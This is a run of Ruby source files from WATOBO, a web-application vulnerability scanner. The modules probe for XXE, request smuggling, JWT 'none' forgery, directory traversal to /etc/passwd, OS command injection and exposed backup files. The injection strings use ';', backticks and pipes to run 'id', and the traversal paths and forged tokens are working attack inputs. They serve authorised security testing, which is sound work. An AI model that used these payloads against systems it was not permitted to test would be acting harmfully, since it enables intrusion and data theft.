/\.(#{@fext.join("|")})$/ then checker = proc{ test_request = nil test_response = nil new_file = file.gsub(/\.\w{1,4}$/, "") test_request = chat.copyRequest #test_request.addHeader("Vary","negotiate,accept") test_request.set_header("Accept","application/watobo; q=1.0") test_request.replaceFileExt(new_file) result_request, result_response = doRequest(test_request, :default => true) tcn_headers = result_response.headers("^TCN") unless tcn_headers.empty? puts "MULTIVIEW - #{self.class}!!!\n" #test_chat = Chat.new(test_request, test_response, chat.id) addFinding( result_request, result_response, :check_pattern => "#{new_file}", :test_item => file, :proof_pattern => "#{new_file}", :chat => chat, :title => "#{new_file}" #:debug => true ) end [ test_request, test_response ] } yield checker end rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end end watobo-1.0.1/modules/active/Apache/solr_xxe.rb000066400000000000000000000063501366346341400213160ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Apache class Solr_xxe < Watobo::ActiveCheck threat = <<'EOF' Possible XXE in SOLR XML parser can lead to exfiltration of sensitive data. EOF measure = "Disable External Entity Resolving in XML Parser" @info.update( :check_name => 'Apache SOLR XXE', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_APACHE, :description => "Check for XXE vulnerabilities.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => AC_GROUP_APACHE_SOLR, # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_MEDIUM, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) end def generateChecks(chat) # # Check GET-Parameters # begin @parm_list = chat.request.parameters @parm_list.each do |param| checker = proc { test = chat.copyRequest parm = param.copy inj = '{!xmlparser v=\'\'}' if parm.location == :url parm.value = URI.escape(inj) else parm.value = inj end test.set parm test_request, test_response = doRequest(test) # first we check if an error has been raised containing the keyword solr if test_response.join =~ /org.apache.solr/i puts '!!! GOTCHA !!!! FOUND SOLR Vulnerability' if $VERBOSE match = $1 addFinding(test_request, test_response, # :check_pattern => "#{Regexp.quote(parm.value)}", :check_pattern => "#{parm.value}", :proof_pattern => "#{match}", :test_item => "#{parm.name}", :chat => chat, :title => "[#{parm.name}] - #{test_request.path}", :rating => VULN_RATING_LOW, :measure => "Remove error messages from response.", :class => "#{AC_GROUP_APACHE_SOLR} Error Message" ) end [test_request, test_response] } yield checker end end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end watobo-1.0.1/modules/active/Flash/000077500000000000000000000000001366346341400167765ustar00rootroot00000000000000watobo-1.0.1/modules/active/Flash/crossdomain.rb000066400000000000000000000100611366346341400216420ustar00rootroot00000000000000# . # crossdomain.rb # # Copyright 2010 by siberas, http://www.siberas.de # # This file is part of WATOBO (Web Application Tool Box) # http://watobo.sourceforge.com # # WATOBO is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation version 2 of the License. # # WATOBO is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with WATOBO; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # . # @private module Watobo#:nodoc: all module Modules module Active module Flash class Crossdomain < Watobo::ActiveCheck @info.update( :check_name => 'Crossdomain Policy', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Check for crossdomain.xml weaknesses", # description of checkfunction :check_group => AC_GROUP_FLASH, :author => "Hans-Martin Muench", # author of check :version => "0.1" # check version ) @finding.update( :class => "Crossdomain.xml check", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def reset() @checked_dirs.clear end def initialize(project, prefs={}) super(project, prefs) @checked_dirs = Hash.new end def generateChecks(chat) directory = chat.request.dir if not @checked_dirs.has_key?(directory) @checked_dirs[directory] = :checked checker = proc { test_request = nil test_response = nil path = directory + "/crossdomain.xml" # IMPORTANT!!! # use copyRequest(chat) for cloning the original request test = chat.copyRequest test.setDir(path) status, test_request, test_response = fileExists?(test, :default => true) if status == true # Do a simple match on the response to detect # if we have if test_response.join =~ / " proof_pattern.to_s, :test_item => "test-item", :chat => chat, :title => "Badly configured crossdomain.xml", :rating => VULN_RATING_CRITICAL, :threat => "The current crossdomain.xml policy allows cross domain access from everywhere", :measure => "Restrict the allowed hosts setting inside the policy", :class => "Flash security" ) end end [ test_request, test_response ] } yield checker end # end ifnot end end # end proc end # end class end # end module flash end # end Active end # End modules watobo-1.0.1/modules/active/HRS/000077500000000000000000000000001366346341400163755ustar00rootroot00000000000000watobo-1.0.1/modules/active/HRS/te_cl.rb000066400000000000000000000074531366346341400200210ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Hrs class Te_cl < Watobo::ActiveCheck @info.update( :check_name => 'HRS TE-CL', # name of check which briefly describes functionality, will be used for tree and progress views :description => "HTTP Request Smuggling with Type-Encoding/Content-Length combination", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => 'HRS' ) @finding.update( :threat => 'Access to restricted files', # thread of vulnerability, e.g. loss of information :class => "HTTP Request Smuggling", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_HIGH, ) def initialize(session_name=nil, prefs={}) # @project = project super(session_name, prefs) end def reset() end def generateChecks(chat) begin checker = proc { test_request = nil test_response = nil # do a reference request for later comparation ref_request = chat.copyRequest request, ref_response = doRequest(ref_request, :default => true) test_request = chat.copyRequest test_request.setMethod 'POST' # remove connection header test_request.removeHeader 'Connection' test_request.setHeader 'Content-Type', 'application/x-www-form-urlencoded' test_request.setHeader 'Transfer-Encoding', 'chunked' smuggle = "GET /fourOfour.txt HTTP/1.1\r\nHost: localhost\r\n\r\n" body = "0\r\n" + smuggle test_request.setHeader 'Content-Length', "#{body.length}" test_request.setBody body # check order of headers te_index = test_request.index{|h| h =~ /Transfer\-Encoding/ } cl_index = test_request.index{|h| h =~ /Content\-Length/ } # CL should be before TE if te_index < cl_index dummy = test_request[te_index] test_request[te_index] = test_request[cl_index] test_request[cl_index] = dummy end test_request, test_response = doRequest(test_request, :no_connection_close => true, :update_contentlength => false ) puts ">>> HRS <<<<" puts test_request puts '---' puts test_response puts test_response.class puts test_response.empty? if test_response.status_code != ref_response.status_code then addFinding(test_request, test_response, :check_pattern => "#{body}", # :test_item => file, :proof_pattern => "#{test_response.status_code}", :chat => chat, :title => "[ HRS ]" #:debug => true ) end [test_request, test_response] } yield checker rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end end watobo-1.0.1/modules/active/JWT/000077500000000000000000000000001366346341400164055ustar00rootroot00000000000000watobo-1.0.1/modules/active/JWT/jwt_oauth2_none.rb000077500000000000000000000067361366346341400220560ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Jwt class Jwt_oauth2_none < Watobo::ActiveCheck @@tested_directories = Hash.new threat =<<'EOF' Privilege Escalation EOF # details =<<'EOD' EOD measure = 'Only accept secure algorithms.' @info.update( :check_name => 'OAuth2 Anonymous JWT', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => 'JWT', :description => 'Checks if anonymous token (without signature) is supported by the application.', # description of checkfunction :author => 'Andreas Schmidt', # author of check :version => '1.0' # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "JWT - None", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure, :details => details ) def initialize(project, prefs={}) super(project, prefs) def reset end end def generateChecks(chat) begin # Check for JWT Bearer Header, e.g. # Authorization: Bearer asdfasdfasdf.alksjdflkjsdlfjkweoriuwoejosjfoijowemrjosjajjojpj.Xm7q8hzlXlooWPyZPayq ... bearer = chat.request.headers(' Bearer ')[0] return true if bearer.nil? bearer_header = bearer.match(/^([^\s]*):/)[1] jwt = bearer.match(/Bearer (.*)/)[1] jh, jp, js = jwt.split('.') jh = JSON.parse(Base64.decode64(jh)) jp = JSON.parse(Base64.decode64(jp)) # remove 'alg' from original header jh.delete 'alg' # TODO: improve check to also compare responses which don't have a body body_orig = chat.response.body.to_s return true if body_orig.empty? checker = proc { request = nil response = nil test_request = chat.copyRequest # create new token with original header fields - except 'alg' token = JWT.encode jp, nil, 'none', jh new_auth_header = "Bearer #{token}" test_request.set_header bearer_header, new_auth_header request, response = doRequest(test_request) if response.body.to_s.strip == body_orig.strip addFinding(request, response, :check_pattern => token, :proof_pattern => body_orig.strip, #:test_item => '', :chat => chat, :title => "[#{request.file}]" ) end [request, response] } yield checker rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end end watobo-1.0.1/modules/active/RoR/000077500000000000000000000000001366346341400164435ustar00rootroot00000000000000watobo-1.0.1/modules/active/RoR/cve_2013_015x.rb000066400000000000000000000000601366346341400207630ustar00rootroot00000000000000# http://www.securityfocus.com/bid/57187/exploitwatobo-1.0.1/modules/active/axis/000077500000000000000000000000001366346341400167055ustar00rootroot00000000000000watobo-1.0.1/modules/active/axis/axis_xsd.rb000066400000000000000000000047511366346341400210630ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Axis class Axis_xsd < Watobo::ActiveCheck @info.update( :check_name => 'Axis XSD Directory Traversal', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_AXIS, :description => "Check AXIS service for xsd directory traversal.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :class => "Apache AXIS XSD", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_MEDIUM ) def reset() @checked_paths.clear end def initialize(project, prefs={}) super(project, prefs) measure = "Update to newest AXIS version." @checked_paths = Hash.new @traversals = [ '../conf/axis2.xml', '../../../../../../../etc/passwd' ] end def generateChecks(chat) wp = chat.request.path unless @checked_paths.has_key?(wp) @checked_paths[wp] = :checked @traversals.each do |tf| checker = proc { test = chat.copyRequest param = UrlParameter.new(name: 'xsd', value: tf) test.set param status, test_request, test_response = fileExists?(test, :default => true) if status == true #test_chat = Chat.new(test, test_response,chat.id) # resource = "/" + test_request.resource addFinding( test_request, test_response, :check_pattern => "#{tf}", :test_item => "#{tf}", :chat => chat, :title => "[#{wp}]" ) end [ test_request, test_response ] } yield checker end end end end end end end end watobo-1.0.1/modules/active/cmd_injection/000077500000000000000000000000001366346341400205465ustar00rootroot00000000000000watobo-1.0.1/modules/active/cmd_injection/os_injection.rb000066400000000000000000000072421366346341400235630ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Cmd_injection class Os_injection < Watobo::ActiveCheck threat = <<'EOF' EOF measure = "All user input should be filtered and/or escaped using a method appropriate for the output context" @info.update( :check_name => 'OS Command Injection Checks', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_CMD, :description => "Check for command injection vulnerabilities.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => AC_GROUP_CMD, # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @injections = [] @injections << [ 'X="WATOBO";echo "333333"$X"44444"', '33333WATOBO44444' ] @injections << [ 'id', 'uid.*gid.*groups'] end def generateChecks(chat) # # Check GET-Parameters # begin @parm_list = chat.request.parameters @parm_list.each do |param| checks = [] checks.concat @injections checks.concat @injections.map{|i| [ "#{param.value};#{i[0]}", i[1]]} checks.concat @injections.map{|i| [ ";#{i[0]}", i[1]]} checks.concat @injections.map{|i| [ "`#{i[0]}`", i[1]]} checks.concat @injections.map{|i| [ ";`#{i[0]}`", i[1]]} checks.concat @injections.map{|i| [ "|`#{i[0]}`", i[1]]} checks.each do |check| checker = proc { test_request = nil test_response = nil test = chat.copyRequest parm = param.copy pattern = "#{check[1]}" inj="#{check[0]}" parm.value = inj if parm.location == :url parm.value = URI.escape(inj) end test.set parm test_request, test_response = doRequest(test) if test_response.join =~ /(#{pattern})/i puts '!!! GOTCHA !!!! FOUND SSTI Vulnerability' if $VERBOSE match = $1 addFinding(test_request, test_response, # :check_pattern => "#{Regexp.quote(parm.value)}", :check_pattern => "#{parm.value}", :proof_pattern => "#{match}", :test_item => "#{parm.name}", :chat => chat, :title => "[#{parm.name}] - #{test_request.path}" ) end [test_request, test_response] } yield checker end end end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end watobo-1.0.1/modules/active/cq5/000077500000000000000000000000001366346341400164315ustar00rootroot00000000000000watobo-1.0.1/modules/active/cq5/cq5_default_selectors.rb000077500000000000000000000103451366346341400232430ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Cq5 #class Dir_indexing < Watobo::Mixin::Session class Cq5_default_selectors < Watobo::ActiveCheck @info.update( :check_name => 'CQ5 Selectors', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module checks for default selectors.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => "CQ5" ) @finding.update( :threat => 'Selectors can reveal sensitive information about the application, e.g. password hashes (jackrabbit). Also, the query selector enables you to perform XPATH queries on the entire repository, which could slow your system down considerably, or even cause a denial of service if run multiple times', # thread of vulnerability, e.g. loss of information :class => "CQ5: Selectors", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_INFO ) def initialize(project, prefs={}) super(project, prefs) @@checked_locations = [] @selectors = %w( query assets infinity children s7catalog pages feed feedentry tidy sysview docview permissions overlay 1 2 3 4 5 6 7 ) @extensions = %w( json html csv zip xml ) # specials are combinations which need one or more parameters to produce a valid result @specials = %w( query.json?statement=%2F%2F%2A cqactions.json?path=/&depth=1&authorizableId=* permissions.overlay.json?path=/ ) @mixed = @selectors.map{|s| @extensions.map{|e| s + '.' + e } }.flatten end def reset() @@checked_locations = [] end def generateChecks(chat) path = chat.request.path return false if @@checked_locations.include? path @@checked_locations << path test_extensions = @extensions.clone test_extensions.concat @specials test_extensions.concat @mixed test_extensions.each do |ext| checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest # replace file extension only test.set_file_extension(ext) status, test_request, test_response = fileExists?(test) if status == true and test_response.content_type != chat.response.content_type and test_response.status_code.to_i < 300 addFinding( test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => "[#{ext}]" ) end # also test extensions on the path test = chat.copyRequest test.replaceFileExt(".#{ext}") status, test_request, test_response = fileExists?(test) if status == true and test_response.content_type != chat.response.content_type and test_response.status_code.to_i < 300 addFinding( test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => "[#{ext}]" ) end rescue => bang puts bang puts bang.backtrace if $DEBUG end [ test_request, test_response ] } yield checker end end end end end end end watobo-1.0.1/modules/active/cq5/cq5_params.rb000066400000000000000000000075471366346341400210260ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Cq5 #class Dir_indexing < Watobo::Mixin::Session class Cq5_params < Watobo::ActiveCheck @info.update( :check_name => 'CQ5 Params', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module checks for default url parameters used by AEM.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => "CQ5" ) @finding.update( :threat => 'Selectors can reveal sensitive information about the application, e.g. password hashes (jackrabbit). Also, the query selector enables you to perform XPATH queries on the entire repository, which could slow your system down considerably, or even cause a denial of service if run multiple times', # thread of vulnerability, e.g. loss of information :class => "CQ5: Params", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_INFO ) def initialize(project, prefs = {}) super(project, prefs) @checked_locations = [] @params = [] @params << UrlParameter.new(name: 'debug', value: 'layout') @params << UrlParameter.new(name: 'debugClientLibs', value: 'true') @params << UrlParameter.new(name: 'debugConsole', value: 'true') %w( edit preview design disabled ).each do |v| @params << UrlParameter.new(name: 'wcmmode', value: v) end end def reset() @checked_locations = [] end def generateChecks(chat) path = chat.request.path return false if @checked_locations.include? path @checked_locations << path @params.each do |param| checker = proc { begin pre_request = nil pre_response = nil pre = chat.copyRequest pre_request, pre_response = doRequest(pre) if Watobo::Utils.compare_responses(pre_response, chat.response) test_request = nil test_response = nil test = chat.copyRequest test.set param test_request, test_response = doRequest(test) unless Watobo::Utils.compare_responses(test_response, chat.response) addFinding(test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => "[#{param.to_s}]" ) end if test_response.join =~ /firebug\-lite/i addFinding(test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "#{Regexp.quote('firebug-lite')}", :chat => chat, :title => "[#{param.to_s}]" ) end else raise "[#{self}] responses are not comparable" end rescue => bang puts bang puts bang.backtrace if $DEBUG end [test_request, test_response] } yield checker end end end end end end end watobo-1.0.1/modules/active/cq5/cqp_user_enumeration.rb000066400000000000000000000102611366346341400232050ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Cq5 #class Dir_indexing < Watobo::Mixin::Session class Cqp_user_enumeration < Watobo::ActiveCheck @info.update( :check_name => 'CQ5 CQP User Enumeration', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module checks if CQ JSON extension is aktive and enumerates all usernames.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => "CQ5" ) @finding.update( :threat => 'Information Disclosure.', # thread of vulnerability, e.g. loss of information :class => "CQ5: Users", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_INFO ) def initialize(project, prefs={}) super(project, prefs) end def reset() @checked_locations = [] end def generateChecks(chat) path = chat.request.path return false if @checked_locations.include? path @checked_locations << path # # via JSON Extension checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest test.set_file_extension('.json') status, test_request, test_response = fileExists?(test) if status == true and test_response.has_body? if test_response.content_type =~ /json/ j = JSON.parse test_response.body.to_s username = j['jcr:createdBy'] puts "\nCQ5 User: #{username}" addFinding( test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "jcr:createdBy.*#{username}", :chat => chat, :threat => "Usernames may help an attacker to perform authorization attacks, e.g. brute-force attacks.", :title => "[#{username}]" ) end end rescue => bang puts bang puts bang.backtrace if $DEBUG end [ test_request, test_response ] } yield checker # # via XML Extension checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest test.set_file_extension('.xml') status, test_request, test_response = fileExists?(test) if status == true and test_response.has_body? if test_response.content_type =~ /xml/ xml = Nokogiri::XML(test_response.body.to_s) xml.traverse do |node| next unless node.respond_to? :attributes node.attributes.each do |attr| if attr[0] =~ /By$/i username = attr[1] addFinding( test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "#{attr[0]}.*#{username}", :chat => chat, :threat => "Usernames may help an attacker to perform authorization attacks, e.g. brute-force attacks.", :title => "[#{username}]" ) end end end end end rescue => bang puts bang puts bang.backtrace if $DEBUG end [ test_request, test_response ] } yield checker end end end end end end watobo-1.0.1/modules/active/directories/000077500000000000000000000000001366346341400202555ustar00rootroot00000000000000watobo-1.0.1/modules/active/directories/dirwalker.rb000066400000000000000000000036201366346341400225670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Directories #class Dir_indexing < Watobo::Mixin::Session class Dirwalker < Watobo::ActiveCheck @@tested_directories = Hash.new @info.update( :check_name => 'Directory Walker', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Do request on each directory and run passive checks on result.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) def initialize(project, prefs={}) super(project, prefs) end def reset() @@tested_directories.clear end def generateChecks(chat) begin path = chat.request.dir if !@@tested_directories.has_key?(path) then @@tested_directories[path] = true checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest test.strip_path() test_request, test_response = doRequest(test, :default => true) rescue => bang puts bang puts bang.backtrace if $DEBUG end [ test_request, test_response ] } yield checker end rescue => bang puts "!error in module #{Module.nesting[0].name}" puts bang end end end end end end end watobo-1.0.1/modules/active/discovery/000077500000000000000000000000001366346341400177505ustar00rootroot00000000000000watobo-1.0.1/modules/active/discovery/fileextensions.rb000066400000000000000000000126641366346341400233450ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Discovery class Fileextensions < Watobo::ActiveCheck @info.update( :check_name => 'FileExtensions', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks for temporary- or backup-files", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Temporary- or backup files may contain sensitive information, e.g. source-code or username/password.', # thread of vulnerability, e.g. loss of information :class => "File Extension", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :rating => VULN_RATING_HIGH, :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(session_name=nil, prefs={}) # @project = project super(session_name, prefs) # @tested_directories = Hash.new @fext = %w( php asp aspx jsp cfm shtm htm html shml ) @prefixes = [ "", "~", "_"] @suffixes = [ "tmp", "bak", "tgz", "tar.gz", "tar", "gz", "zip", "bz2", "old"] end def reset() end def generateChecks(chat) begin file = chat.request.file #e = dummy.split('?').first if file != "" and file =~ /\.(#{@fext.join("|")})$/ then @prefixes.each do |pref| @suffixes.each do |suf| #sleep(1) checker = proc{ test_request = nil test_response = nil new_file = pref + file.gsub(/\.\w{1,4}$/, ".#{suf}") # puts new_file # !!! ATTENTION !!! # MAKE COPY BEFORE MODIFIYING REQUEST test_request = chat.copyRequest test_request.replaceFileExt(new_file) # result_request, result_response = doRequest(test_request, :default => true) # puts test_request.first status, test_request, test_response = fileExists?(test_request, :default => true) # puts new_e + " : " + test_response.status if status == true then puts "GOTCHA - #{self.class}!!!\n+ #{test_request.first}\n" #test_chat = Chat.new(test_request, test_response, chat.id) addFinding( test_request, test_response, :check_pattern => "#{new_file}", :test_item => file, :proof_pattern => "#{test_response.status}", :chat => chat, :title => "#{new_file}" #:debug => true ) end [ test_request, test_response ] } yield checker checker = proc{ test_request = nil test_response = nil new_file = pref + file + ".#{suf}" # !!! ATTENTION !!! # MAKE COPY BEFORE MODIFIYING REQUEST test_request = chat.copyRequest test_request.replaceFileExt(new_file) # result_request, result_response = doRequest(test_request, :default => true) status, test_request, test_response = fileExists?(test_request, :default => true) # puts new_e + " : " + test_response.status if status == true then # puts "\n+ #{test_request.first}\n" # test_chat = Chat.new(test_request, test_response, chat.id) addFinding( test_request, test_response, :check_pattern => "#{new_file}", :test_item => file, :proof_pattern => "#{test_response.status}", :chat => chat, :title => "#{new_file}" #:debug => true ) end [ test_request, test_response ] } yield checker end end end rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end end watobo-1.0.1/modules/active/discovery/http_methods.rb000066400000000000000000000106641366346341400230060ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Discovery class Http_methods < Watobo::ActiveCheck @@tested_directories = [] @info.update( :check_name => 'HTTP Methods', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks for supported HTTP Methods.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Some HTTP methods can be exploited by an attacker to compromise the system.', # thread of vulnerability, e.g. loss of information :class => "HTTP Methods", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) @project = project super(project, prefs) @dummy_element = "WATOBO" @not_allowed_response = [ "UNAUTHORIZED", "NOT IMPLEMENTED", "NOT ALLOWED", "NOT SUPPORTED", "FORBIDDEN", "BAD REQUEST", "302"] @test_methods = %w[ PROPFIND PROPPATCH COPY UNLOCK MKCOL ] + # web_dav_methods - DELETE is too dangerous here %w[ OPTIONS TRACE ]+ # common but unwanted methods %w[ TRACK DEBUG ] + # IIS methods %w[ CHECKOUT SHOWMETHOD LINK CHECKIN TEXTSEARCH SPACEJUMP SEARCH REPLY]+ # http://www.w3.org/Protocols/HTTP/Methods.html %w[ VERSION_CONTROL CHECKIN UNCHECKOUT PATCH ] # eclipse_methods @test_methods = %w[ TRACE ] end def reset() @@tested_directories.clear end def generateChecks(chat) begin unless @@tested_directories.include?(chat.request.dir) then @@tested_directories.push chat.request.dir @test_methods.each do |method| #sleep(1) checker = proc{ begin result = nil test_request = nil test_response = nil test_method = "#{method}" # !!! ATTENTION !!! # MAKE COPY BEFORE MODIFIYING REQUEST test_request = chat.copyRequest test_request.replaceMethod(test_method) result_request, result_response = doRequest(test_request, :default => true) is_vuln = true if result_response.status then @not_allowed_response.each do |nar| if result_response.status =~ /#{nar}/i then is_vuln = false end end if is_vuln == true then addFinding( result_request, result_response, :check_pattern => "#{test_method}", :proof_pattern => "#{result_response.status}", :test_item => chat.request.dir, :chat => chat, :title => "#{test_method}" #:debug => true ) end end result = [ result_request, result_response ] rescue => bang puts bang puts bang.backtrace if $DEBUG result = [ nil, nil ] end result } yield checker end end end rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end watobo-1.0.1/modules/active/discovery/jsmapfiles.rb000077500000000000000000000050131366346341400224340ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Discovery class Jsmapfiles < Watobo::ActiveCheck @info.update( :check_name => 'JavaScript Map Files', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks for javascript map files", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Temporary- or backup files may contain sensitive information, e.g. source-code or username/password.', # thread of vulnerability, e.g. loss of information :class => "JS Map File", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(session_name=nil, prefs={}) # @project = project super(session_name, prefs) end def reset() end def generateChecks(chat) begin file = chat.request.file return nil unless file =~ /\.js$/ and chat.response.content_type =~ /javascript/i checker = proc { test_request = nil test_response = nil new_file = file + '.map' test_request = chat.copyRequest test_request.replaceFileExt(new_file) status, test_request, test_response = fileExists?(test_request, :default => true) if status == true then addFinding(test_request, test_response, :check_pattern => "#{new_file}", :test_item => file, :proof_pattern => "#{test_response.status}", :chat => chat, :title => "[ #{test_response.status_code} ] - #{new_file}" #:debug => true ) end [test_request, test_response] } yield checker rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end end watobo-1.0.1/modules/active/domino/000077500000000000000000000000001366346341400172265ustar00rootroot00000000000000watobo-1.0.1/modules/active/domino/domino_db.lst000066400000000000000000000040461366346341400217100ustar00rootroot00000000000000AgentRunner.nsf DEASAppDesign.nsf DEASLog01.nsf DEASLog02.nsf DEASLog03.nsf DEASLog04.nsf DEASLog05.nsf DEASLog.nsf DEESAdmin.nsf Forms5.nsf SchedulerTr.nsf account.nsf accounts.nsf admin4.nsf admin5.nsf adminisist.nsf admin.nsf agentrunner.nsf alog.nsf billing.nsf bookmark.nsf books.nsf busytime.nsf calendar.nsf catalog.nsf cersvr.nsf certa.nsf certlog.nsf certsrv.nsf chatlog.nsf clbusy.nsf cldbdir.nsf clusta4.nsf collect4.nsf cpa.nsf customerdata.nsf da.nsf database.nsf dba4.nsf db.nsf dclf.nsf decsadm.nsf decsdoc.nsf decslog.nsf default.nsf dirassist.nsf doladmin.nsf domadmin.nsf domcfg.nsf domguide.nsf domino.nsf domlog.nsf dspug.nsf event.nsf events4.nsf events5.nsf events.nsf faqw46.nsf framew46.nsf group.nsf groups.nsf help4.nsf helpadmin.nsf helpadmn.nsf helplt4.nsf hidden.nsf homepage.nsf internet.nsf javapg.nsf jotter.nsf kbccv11.nsf kbnv11.nsf kbssvv11.nsf lccon.nsf lcon.nsf ldap.nsf leiadm.nsf leilog.nsf leivlt.nsf log4a.nsf loga4.nsf log.nsf lsxlc.nsf mab.nsf mailw46.nsf main.nsf migrate.nsf msdwda.nsf mtatbls.nsf mtstore.nsf names.nsf nd000000.nsf nd000001.nsf nd000002.nsf nd000003.nsf nd000004.nsf nntppost.nsf notes.nsf .nsf ntsync45.nsf ntsync4.nsf pagesw46.nsf perweb.nsf 